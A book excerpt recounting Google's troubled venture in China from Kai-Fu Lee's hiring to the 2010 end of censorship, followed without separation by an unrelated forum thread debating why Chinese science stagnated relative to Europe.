Lee resigned from Microsoft (MSFT) on July 18 and officially accepted Google's (GOOG) offer the next day. It was worth over $13 million, including a $2.5 million signing bonus. On his Chinese-language website, Lee said that Google had given him a "shock" by its fresh approach to technology and postulated that in China, his new employer's youth, freedom, transparency, and honesty would produce a miracle. "I have the right to make my choice," he wrote. "I choose Google. I choose China." Microsoft rushed to the courthouse and charged Lee with violating a noncompete agreement that was part of his employment contract. But on Sept. 13, Judge Steven Gonzalez ruled that while Lee was prohibited from sharing proprietary information with or helping Google in competitive areas such as search and speech technologies, he could participate in planning and recruiting for Google's effort in China. Ultimately, the two companies would settle, and the restrictions on Lee's activities would be lifted in 2006.

Eric Schmidt and Kai-Fu Lee unveiling Google's Chinese name in April 2006.

Eric Schmidt and Kai-Fu Lee unveiling Google's Chinese name in April 2006.

Google.cn went live on Jan. 27, 2006. A few months later Google China moved into its new offices. It occupied several floors of a gleaming building that appeared as if it were made out of giant white Lego blocks and glass. It was one of several similar structures in the Tsinghua Science Park in the Hardan District of north Beijing, China's Silicon Valley. Occupying several floors of the high-rise, Google's headquarters was outfitted with the usual frills: physio balls, foosball tables, a fully equipped gym, a massage room, and (in a nod to local recreational activities) a karaoke room, and a Dance Dance Revolution videogame, as well as a huge cafeteria with free meals. Finding applicants wasn't a challenge. As soon as the news broke that Lee would be heading Google China, résumés began arriving by the hundreds. Lee went on a recruiting trip that had aspects of a rock-and-roll tour, with students actually bootlegging counterfeit tickets. Google's head of engineering, Alan Eustace, accompanied Lee on one trip and couldn't get over how people mobbed him. It was like some weird Asian form of Beatlemania. "He'd give a talk at a university, and it would be like a basketball game -- 2,000 people in the audience," he says. "He would be surrounded by literally hundreds of students. People would get close to him, just to touch him."

Signs of a distressed relationship almost from the start

Google had hoped that its decision to create a search engine in the .cn domain -- one that followed government rules of censorship -- would lead to a level playing field. But even as Google rolled out its .cn web address, there were indications that its compromise would not satisfy the Chinese government. Unexplained outages still occurred. (Meanwhile, Google's competitor Baidu seemed to hum along unscathed.) And not long after Google got its operating license, in December 2005, the Chinese declared that the license was no longer valid, charging that it wasn't clear whether Google's activities made it an Internet service or a news portal. (Foreigners could not operate the latter.) Google then began a year-and-a-half-long negotiation to restore the license.

Google finally got its license in June 2007. The dispute had been resolved in secret. And to a large degree the level of service stabilized. Another boost that year was that Google was granted a valuable concession: simply typing "g.cn" would take Chinese users to the Google.cn site. But by then many Chinese had written off Google as an unwelcome outsider with less reliable service.

The interior of Google's Shanghai office.

The interior of Google's Shanghai office.

Because Google had a firm policy against storing personal data inside China -- to avoid the problems of having the government demand that Google turn over the data -- it did not offer a number of its key services for local Chinese users. No Gmail. No Blogger. No Picasa. Other services had to be drastically altered. YouTube was blocked entirely.

As Chinese employees came onboard, it took a while for some of them to adjust to the Google style. For instance, many were uncomfortable with Google's worldwide policy that employees initiate and pursue independent projects during 20% of their work time. Engineers had to be told by a visiting Mountain View executive that they did not need permission to do a 20% project. Yet the No. 1 concern of Google's engineers was their access, or lack of it, to Google's production code. Google was a collaborative company that wanted its engineers around the world to innovate on its existing products and create exciting new ones. It empowered them to do so by giving them access to its production code base. Without such access, engineers were limited in what they could do.

But unlike Google's employees in other locations, the China workers did not have such access. The restrictions limited what the engineers could do -- and sent a message that they were second-class employees. "At one time I had the feeling that if we didn't give them access, there would be a riot," says Google China manager Ben Luk. Suspicion lingered that the engineering executives behind the policy -- some of whom had deep concerns about the company's China policy -- had intentionally engineered rigid restrictions as a form of corporate civil disobedience against their employer's cooperation with censors.

Government relations fiascos

Google's success in China depended in part on having a government relations point person who could navigate the tricky shoals of preserving Google's values without offending Chinese officials. Google's first GR head was a former vice president of Sina, who was experienced in the ways of Chinese bureaucracies. But perhaps because she did not speak English, she failed to appreciate issues from the Google perspective. She complained to at least one colleague that Google wasn't flexible enough with the government and did not work hard enough to please it.

Kai-Fu Lee, a celebrated Chinese computer scientist who left Microsoft to launch Google in China -- which soon ran afoul of the authorities

Kai-Fu Lee, a celebrated Chinese computer scientist who left Microsoft to launch Google in China -- which soon ran afoul of the authorities

Her tenure came to an end when Google discovered that she had taken it upon herself to give iPods to Chinese officials. She had charged them to Google, and another executive had approved the charge. In Chinese business culture such gifts are routine, but the act unambiguously violated Google policy, not least because it was an explicit violation of the U.S. Foreign Corrupt Practices Act. Google fired both her and the executive who had approved the expense. When she was called to Kai-Fu Lee's office for dismissal, she was dumbfounded. In Mountain View, this breach was another sign of how difficult the China situation was. Eustace, the Mountain View executive overseeing China, later recalled the incident as "the worst moment in our company" and blamed himself for not making sure that Google's representative to the Chinese government knew how dimly the company would view such an act.

After the employee's departure, Google chose a three-person government relations team, all female, led by Julie Zhu, an energetic woman in her thirties. She was hired straight from a government ministry, instead of the commercial sector with its backscratching culture. Zhu was better able to communicate with Mountain View. But she had her hands full fending off Chinese government directives. A demand would come from a government ministry to take down 10 items; Google would typically take down seven and hope that the compromise resolved the matter. Sometimes after a few days or weeks Google would quietly restore links it had censored. Every five months Google's policy-review committee in China would meet to make sure it was filtering the minimum it could possibly get away with. It was, as Google China engineering director Jun Liu put it, "trench warfare," but he believed that Google's continuing problems were proof that it was indeed moving the democracy needle in China.

For all the progress, some Google executives were beginning to think that its great China compromise wasn't working. A turning point came in 2008, the year China hosted the Olympics. In the run-up to its turn in the international spotlight, China apparently decided to increase its restrictions. It demanded that in addition to censoring the .cn results, Google purge objectionable links from the Chinese-language version of Google.com. That, of course, was unacceptable to Google -- it would mean that it was acting as an agent of repression for Chinese-speaking people all over the world, including in the U.S. Other search engines, including Microsoft's, agreed to such demands. But Google stalled, hoping that after the Olympics the Chinese would back off. They did not. The demands for censorship became broader and more frequent.

The last straw

In June a new problem arose involving Google Suggest, a search feature that instantly offered fully developed search queries when users typed just a few characters or words into the search box. This innovation, ultimately offered globally, was developed first in China after Google's search team realized that, because of difficulty in typing, Chinese users generally entered shorter queries into the search box. But Chinese officials discovered that in an alarming (to them) number of instances, the suggestions offered by Google were related to sexual matters. They informed Google of their unhappiness by summoning Kai-Fu Lee and other Google China executives to a local hotel, where representatives of three ministries were waiting with a laptop and a projector. Once everyone was seated, the show began. The Chinese went to Google.cn and typed in a vulgar term for breasts. Google Suggest offered links that displayed raw nudity, and more. The official typed in the word meaning "son," and one of the Google Suggest terms was "love affair between son and mother." The links to this term yielded explicit pornography. The woman serving tea in the conference room almost fainted at the spectacle. The Google people tried to explain that apparently someone had spammed keywords to artificially boost the popularity of sex sites in Google Suggest. The officials were not impressed. "You've been warned twice before, and this is the third time. So we're going to punish you." By that time Lee had already decided to leave Google.

Just before Christmas 2009, Google's information security manager Heather Adkins learned that she would fall short on her annual "don't get hacked" internal goal. Google's monitoring system had detected a break-in of Google's computer system, and some of the company's most precious intellectual property had been stolen. The hack was geographically tied to China -- and both the sophistication of the attack and the nature of its targets pointed to the government itself as an instigator of or a party to the attack.

"The more we learned as we looked into it, the more we realized this wasn't just a classic hack, but folks who were after something. This was hacking with a purpose," says chief legal officer David Drummond. As Google's security specialists kept looking, they found even more horrendous consequences. The hackers had dug into the Gmail accounts of Chinese dissidents and human rights activists. All their contacts, their plans, their most private information had fallen into the hands of intruders. It was hard to imagine that the Chinese government was not poring over them.

Within days Google set up the most elaborate war room in its history, as an entire Google facility was filled with a mix of security engineers working on the forensics of the incursions and policy lawyers trying to figure out what to do next. Meanwhile Google's executives began a series of meetings to determine the next step. The question they discussed was the same one that had been argued five years earlier: What's the right thing to do in China? Google had originally hoped that the Chinese would appreciate its compromise and tacitly tolerate Google's quiet pressure to relax the filtering. Instead it was the opposite. And now Google was under attack.

Brin took the incident personally. Insiders observed he was much less perturbed by the theft of Google's intellectual property than the fact that his company had unwittingly been a tool used to identify and silence critics of a repressive government. Brin wanted the incident to be the catalyst to the action that he and others had been urging since 2008: Google should stop censoring. He was passionate in his insistence. He had support from some executives who had soured on China over the past 10 months -- but not all. Notably, Schmidt was not convinced. But Brin was adamant: Google was under attack by the forces of evil, and if his fellow executives did not see things his way, they were supporting evil. (I'd heard from a knowledgeable but not firsthand source that Brin threatened to quit if Google did not change its policy. Brin, through a spokesperson, didn't recall saying that, and said that the company was so much in his blood and DNA, it was unlikely that he expressed that intention. He did acknowledge that during the many hours of debate, he presented his case with utmost passion.)

Cut ties and the aftermath

Brin's point of view eventually prevailed. On Jan. 10, 2010, Google's top executives reached a decision. Page had joined Brin in deciding to end Google's experiment in censorship; the outvoted Schmidt accepted the decision. (Observers would later say that the setback had long-lasting implications for Schmidt's relationship with the founders, but from the very start of his time at Google, Schmidt had understood that his word on crucial company matters was not final.) In any case, the company decided it would no longer carry out censorship for the Chinese government.

The news spread through Mountain View like an earthquake. Meetings all over the campus came to a dead stop as people looked at their laptops and read how Google was no longer doing the dirty work of the Chinese dictatorship. "I think a whole generation of Googlers will remember exactly where they were when that blog item appeared," says one product manager, Rick Klau.

Google fans created a makeshift shrine in front of its China headquarters in March 2010, lighting candles, leaving flowers and cards, and writing messages of appreciation around the Google logo.

Google fans created a makeshift shrine in front of its China headquarters in March 2010, lighting candles, leaving flowers and cards, and writing messages of appreciation around the Google logo.

For Google's employees in China, the day was also unforgettable. Not one of them had been alerted ahead of time. Drummond posted his announcement at 6 a.m. Beijing time, and many of the Googlers in Beijing and Shanghai first heard about it when frantic colleagues awakened them. Employees filed into the office in a state of shock. That afternoon Google told all employees to leave and gave them tickets to see Avatar. The next day everyone gathered in the café for a teleconference with Brin and other executives, who tried to explain Google's actions. It was a tough sell. Julie Zhu, Google's new government relations person, delivered an emotional objection to her employers, overseas generals who seemed to have abandoned the soldiers in the theater of war. You should not have given up, she argued. You should have kept fighting.

Kai-Fu Lee now says that if you look at China's behavior over a long horizon -- 20 or 30 years -- it's clear that the trend is toward more openness. The incidents that led to Google's retreat were "a perturbation" in this movement, mainly because Chinese leaders had reached their limits. "The next generation will come up in less than two years," he says. "They're younger, more progressive, many American-trained, and many have worked in businesses and run banks -- they're going to be more open."

Excerpted from In the Plex by Wired senior writer Steven Levy. Copyright © 2011 by Steven Levy. Reprinted by permission of Simon & Schuster Inc.

Fortune Podcast: Missteps in China - Assistant managing editor Leigh Gallagher speaks with author Steven Levy about the chapter of his new book, In the Plex, that details how Google got it wrong in China.



What Role Did Language Play In China's Scientific Stagnation

China had historically been a place of great scientific advancement and is well known for having beaten Europe to a great many innovations and discoveries. However, by at least the sixteenth century China's scientific and technological advancement had entered a period of prolonged stagnation, one which allowed Europe to overtake China in the sciences.
The Needham question asks why China suddenly fell behind Europe in the sciences. Joseph Needham himself argued that it was the rising negative political and cultural impact of Confucianism and Taoism which stifled advancement, perhaps similar to the European Dark Ages. While perhaps partially accurate, this argument seems insufficient on its own to fully explain the phenomenon.
One interesting case I've heard put forward is that the Chinese language itself played a prohibitive role in terms of scientific advancement beyond a certain point. While the Chinese were advanced enough to invent the printing press many years ahead of Europe, the Chinese language lacked an alphabet or system of writing which could be easily codified into a mass-producible typeset. As a result, printing remained an exclusive and expensive practice in China.

This contrasts dramatically with the European case, where the easy availability of printing for the emerging educated middle classes after the renaissance period allowed for the rapid spread of ideas and knowledge, and was essential for the move towards a modern scientific community and the widening of education programmes.
This idea reminded me of a similar but seemingly unrelated problem encountered by the Chinese relating to their written language: the difficulty of learning to read and write it with any fluency. The problem was seen as so severe that in efforts to boost literacy the young People's Republic took the drastic step of changing their written character system to the Simplified Chinese we students of the language are thankful for today.
Do people think that the added difficulties in learning to read and write (which probably restricted literacy on class lines more dramatically than in Europe post-Reformation) is a potential significant contributing factor to the Chinese scientific and technological stagnation of the last few centuries?

Which explanations of the Needham paradox do posters favour? Do you feel there are other significant contributing factors which are routinely ignored?


Smilin' dave
Couldn't it be argued that the diversity of languages in Europe would act as an equally significant barrier to the spread of ideas?

In support of a cultural explanation:
- There was no development of a simplified mass language because there was no 'need'. The more complicated language probably served the elites well enough, and the peasantry would have gotten no value from it. There really wasn't much of a middle class right up until the collapse of imperial China.
- While a number of ideas/concepts occurred in China first, it was often only in Europe that these things reached full potential. Gunpowder in the classic example.

Yu-Hsing Chen(Re:ls)
What is the definition of middle class here? 
There is also a misconception of using the late 19th century Qing as a biometer for the entire Ming / Qing era. ignoring the obvious problems that was plauging it at the time (like how it's entire fertile and cultured region in the south was completely overran by the Taiping rebellion)
As far as I can see, based on the fact that most sources points to the better days of Ming / Qing era typically having several MILLION people at most given time who's passed the lowest level of the imperial exam (call the children's exam) . this exclude kids who are still learning, and women who aren't allow to take the test. and the guys who since quit their studies or aren't actually learned enough (since the exam is not just about literacy, it is testing on Confucian text) . (We are abosalutely sure of figures of guys passing the next level, the county test, typically hovering in the 500-600K range nation wide.)
Many scholar now believe that at it's height in the Song dynasty, the actual literacy rate in the Song was somewhere close to 25-30%, while even in the Ming/Qing it was probably 15-20% or so (this is based on it's better days, and not when everything is going to hell for them), from everything I hear of Europe at the time, I have doubts that there is really much separation if not being the other way around.

Yu-Hsing Chen
As for the Needhamquestion, there are a couple of aspects IMHO.
A. the need: 
After the collapse of the western Roman empire, Europe was never united again, thus there was a constant pressure on almost all states of potential war, yet such was not the case in China, where each major dynasty typically sees at least a hundred year of near total peace. 
Military technology develope due to military need, that much is a no-brainer, yet for example, in the reign of Wanli emperor in late 16th century China, typically seen as one of the more troubled times of the Ming, the Ming dynasty fought a total of 6 notable wars in his 50ish year rule. and of these only 3 were really serious (the Imjin war against the Japanese, the war to finally subdue the Mongols in his early reign, and the war against the rising Manchus that would end up replacing the Ming in his late years) while 3 were meh (a major military garrison rebellion , one of the 9 garrison in the north rebelled, a local chieften in the South took over a portion of modern day Sichuan in the 1590s, and a border war against the Burmese that was kinda a joke given the huge disaparity in military competence of the two side at the time)
We're talking about a Dynasty who's realm is roughly the size of Western Europe, yet in a 50 year span that's considered rough, they had 3 sort of major war and 3 smaller war.
Military technology often push the bonderies of human technology, and in China the need simply wasn't consistently there. you might say they did TOO good of a job in bashing in the head of all their competitor . by the Qing era there was even a backward trend as the Qing was keen on keeping their nomadic core at the heart of their military. so it is quite arguable that by the Opium war in 1839, the Qing army was infact significantly technologically inferior to the Ming army of 1639.
B. the key break through: the series of events that lead to the west discovering the Americas and new trade rout was one of the key reason that it surged forward . one could say that China reached a pinnical of the old world's restriction and stayed there. but when Europe discovered a new world they moved ahead into a new set of rules. something China was simply completely left out of.
The need to look for a new trade rout had much to do with the closing of the old, which had much to do with the Mongol invasion and the subsequent rise of the Ottoman empire. the closing of the old trade rout killed the old traditional commerical power like the Italian states (and more over, the middle east. hence the decline of the middle east is also explained) and in the desperation to find a new rout the European forced the limits of the knowledge and technology, and was rewarded greatly.

Smilin' dave
Generally speaking its an economic/societal thing. I would suggest a metric of a class that has not insignificant property holdings (be that land, a business concern or whatever). In modern terms this might be a little vague. However distinction is even more pronounced in a relatively feudal system as existed in China, where the upper class and it's chosen servants (which is essentially what the scholars were for) are defined in large part by title.
The peasant on the other hand had no property of value (if they held land, it was too small to be effective) and certainly no official title. So China's middle class seems to have consisted of landlords, and later on a thin layer of urban professionals.

Yu-Hsing Chen
Except that you miss the point of relative social mobility here. the scholars' title is not a father to son thing, but one that is based on the imperial exam. 
There is a mountain of evidence that the vast majority of scholars who pass the exams came from families of only relatively notable wealth (aka, small land owners) , or at least weren't direct decendents of other officals . (there is a small degree of title inheritency, but it is without a doubt that the majority of influential officials did not rise through this route)
The term "peasants" gets thrown around so much that many draw the same conclusion that Chinese peasants = European medieva l peasants, aka serfs who have almost no legal rights, no true property, and almost no chance of changing their social status . which is the complete opposite of what the majority of Chinese farmers were actually like. (for example, the single biggest order of busniess for local officals of the time is to settle local legal disputes, usually between different farmers. this includes everything from marriage to property to all sorts of random stuff.)

I can easily throw you just about every notable offical from the Song to Qing, which is consisted almost entirely of such examples (barring some Qing dynasty cases where they were Manchurian noblemans)
But let's just start with one very easy one, the Song era offical Oyang Xiu, who became a fairly influential offical in his own right (he was the governor of the capital city), but was probably more remembered for his cultural importance. he is widly famous for being recorded that he was raised by a single mother, and that he actually learned to write on sand, as the single mother couldn't afford any pens and paper when he was a child
While he is obviously on the rather extreme side of a poor guy making it. it's quite common for guys with little to no background becomming officals in China, something that can change the fortune of his entire clan for the next couple of generation usually. which is also why most villages hoard together resources to hire teacher to teach their brighter kids how to read and write with the hope of them earning fame and fortune through this system.
The social mobility is a very key reason on the stability of the later Chinese dynasties, because almost anyone can potentially become high ranking officals. the officals most likely come from common backgrounds, and will go back to common backgrounds when he retires, thus the entire society ties together tightly and the class distinction and struggle become much less noticable.
 If you even pass the basic county level exam, your considered a Xiu Tsai, aka into the "scholar" level. which give you the right to speak to all but the highest level officals on even grounds (aka, you don't need to bow to him, he can't arrest you without extremely strong evidence. ) and there were tons of Xiu Tsai running around China during the era, at the least 1 out of 100 man was a certified Xiu Tsai (or more) and those prospecting to join that class is several times that.
Many of those Xiu Tsai would never rise to higher levels, and they worked in things like scribes or tutors or story tellers, hardly a "elite" class by any standard. stories of old Xiu Tsais who couldn't go up to the next level needing to borrow rice and money from their much less learned neighbor (and thus often earning their scorns ) are one of the most common themes to late Ming to Qing dynasty era novels.

Smilin' dave
Social mobility doesn't necessarily undermine class distinctions if the movement between 'layers' results in someone changing their social background. After all the US has an upper class and basically no system of title (none if you consider elected office as a different category). As I understand it the poorest could only afford the education to pass the exams by seeking sponsorship from a wealthy family for example, which ties our 'peasant' to an upper class group from day one.

Is it also no correct that those who passed the exams didn't always find employment within the system? While they would experience some social boost from their status, such persons would enjoy no economic advantage, which brings us back to the need for significant property to be considered middle class.
The same example could be applied to Russian peasants, both pre and post serfdom. Even a serf might have some notional 'property', but they probably didn't completely own it.

Again, nepotism or patronage doesn't undermine class definitions.
So to re-emphasise my points
- None of this proves that there was an apparent need for a commonly used language. Indeed the scholars were in part being tested for their ability to use the language of the elite.
- None of this proves the existence of a significant middle class as emerged in Europe.
All of what you are saying is quite interesting, and probably true. However, it doesn't undermine my position in this discussion.

Yu-Hsing Chen
There are some exception to the rule where some guys just somehow managed to learn through extraoridnary means, (such as Oyang Xiu's example there) for the most part though, the actual cost of learning was not actually that far beyond the reach of the average Chinese families, which is the key issue here. as the books were in common supply (which goes back to the printing part, as books were widely avalible and all but the most remote village most likely could pool together resource to buy some, and it was hardly just some sort of exquist collection reserved for the rich )

The most common method is that the individual communities would try to put together a private school where they will let those deem on the relatively bright side learn. As already noted, there was really no shortage of teachers. (if not an over supply, which meant the cost of hiring teacher was actually very low ) . truly wealthy families (bigger landlords. merchant familes) often just hire their own tutors. these private schools were called ShiXu (私塾) and were still pretty common even up to around the 1930s.
The final incarnation of the imperial exam essentially had 4 level (the details are obviously more complicated but for simplicity sake here..) the Childrens' exam, the County level exam (after this your considered a scholar), the provincial exam (after this your considered an official), and the Capital exam.

The patronage aspect I have referred to usually isn't the learning part, it's the cost of travel, many of those Chinese provinces were bigger than a large European states. simply travelling to the provincial capital (not to meantion you need to stay there for awhile, both for the test and waiting the results) is actually a significantly heavier burden than learning itself. hence why you see why some popular late Ming/Qing stories usually revolving around the poor Xiu Tsais passing out on the street due to hunger (as his funds ran out), only to be saved by a beautiful young lady who generously helped him, unaware of his status. only for the Xiu Tsai to come back awhile later announcing that he's now a future official and would like to marry the girl etc, it's the Chinese version of the frog prince really.
Once your past the provincial level of test, your almost surely guarnteed a government position of some sort (and if you didn't that's usually when dynasties were ready to go to hell), the final level of exam, taken in the capital itself, is more or less only relavant to your later developments. aka guys who pass the final level (the final level's passing rate is actually pretty high.) are more likely to end up being promoted faster than those who did not.
However, the most difficult part is indeed passing the provincial level part. and those that are stuck inbetween that are what your referring to, those we have the title of a scholar but very little actual economic benifits (the states do sponsor some of them with a scholarship of sort, but the majority don't get that). But they're also just potentially one stroke of the pen away from being an offical.
I am more specifically trying to compare the later dynasties of China (10th century onward) to the pre - industrial Europe. the key thing remains that China was stuck in that era . while Europe moved foward. but if we compare that era to most of the comparable European eras, there is signifcant evidence that points to the Chinese system being better for the common people, relative wealth is obviously a subject of debate. but potential social movement is almost certainly higher. and due to the system that allows that, literacy rate was most likely wider spread (which goes back to the original topic, Chinese literacy rate in the the later 19th century to mid 20th century was terrible compare to industrialized Europe, but what evidence is there that this was the case before that? everything I have read suggest that in most pre industrial European area literacy rate was far south of the 20-30% that later Chinese dynasties usually can sustain.), and class distinction and struggle were significantly less.
The European middle class your referring to did not actually come into serious existence until the industrial revolution (one could argue that the North American colonist reach that point earlier though. on the merits of their land grabbing). by that point and beyond anyone would surely agree that the Chinese were left behind by a mile and only by the last couple of decades have even begun to catch up. that does not actually undermine many of the merits of the later Chinese social system relative to what was going on in most of Europe until probably the early half of the 18th century at the earliest.

Smilin' dave
Actually the middle class in much of Europe first achieve prominence in agriculture, not industry. The most natural example was the emergence of the wool trade, which created a more merchantile aspect and lead to a craze for raising sheep. To a lesser extent you have wine cultivators in France. This shift lead to practices like enclosure, which in turn reflected the end of feudal land management.

Yu-Hsing Chen
THe main point in this is that there is simply little evidence in the Chinese dynasties having a lower literacy rate than Western Europe as a whole. at least until public eduction really became relatively wide spread. it was more likely to have been the other way around. due to Chinese dynasties providing high incentives for it's civilians to go into learning.
I'm am no expert on European history , but from some tibits I pick up here and there, using say.. England (which was almost surely at the forefront of Europe in most aspects from the early 1700s onward) in 1830s there were roughly 25% of children enrolled in sunday schools in England. so add on top of that the nobilities and we come to to the conclusion that at that point the litearcy rate in England
(the best in Europe most likely) was what? in the 30-40% range ? just a little better than say.. the Song dynasty in about 700-800 years earlier.
The point is, China's stagnation seem to have been little influenced by literacy rates. which was actually very high by pre-industrial standards. it was a combination of many other things, and IMHO the single largest aspect remains that because it's economic zone of influence simply remained the same and even shrank. (as the old trade routs closed down to them after the Mongolian invasion). their economic level simply never was able to reach the point that would offer them to jump onto the next level... until the Qing dynasty in the mid 1800s. and by then that was probably more of a curse than a blessing to be suddenly exposed to a whole new world .